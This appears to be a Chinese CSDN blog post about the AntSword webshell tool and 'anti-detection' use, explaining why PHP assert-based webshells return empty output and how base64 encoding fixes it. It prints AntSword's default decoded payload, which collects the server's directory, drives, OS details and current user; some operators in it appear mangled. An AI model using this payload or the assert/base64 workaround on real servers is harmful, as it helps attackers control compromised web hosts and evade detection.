蚁剑连接两个形式--免杀

文章讨论了在PHP中,assert函数的限制导致其无法执行多行代码,而eval则没有此问题。通过base64编码绕过assert的限制,解决了蚁剑shell中遇到的编码问题。
摘要由CSDN通过智能技术生成

base64: 

 

default: 

 

这里简单来说就是eval函数中参数是字符,如:eval('echo 1;');assert函数中参数为表达式 (或者为函数),如:assert(phpinfo())  

我们将默认编码解码看看

@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out) {
    return $out;
};

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "97a7a";
    echo @asenc($output);
    echo "777a7fdcd7c";
}
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}	";
    if (substr($D, 0, 1) != "/") {
        foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
    } else {
        $R. = "/";
    }
    $R. = "	";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R. = php_uname();
    $R. = "	{$s}";
    echo $R;;
} catch (Exception $e) {
    echo "ERROR://".$e - > getMessage();
};
asoutput();
die();

大致的意思会输出一些内容 随机字符串+环境变量+随机字符串,如果用eval代替assert是完全没问题的,我查了下资料,assert是不能执行多个语句的,eval可以,所以这里使用assert会有返回为空的问题。

这个问题可以使用base64编码的问题解决,编码后的数据包,可以看到ant这个参数传入的是一句话,因此就可以通过assert执行成功。

这里就是蚁剑使用assert的shell的一个坑,如果使用assert不要使用默认编码。

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值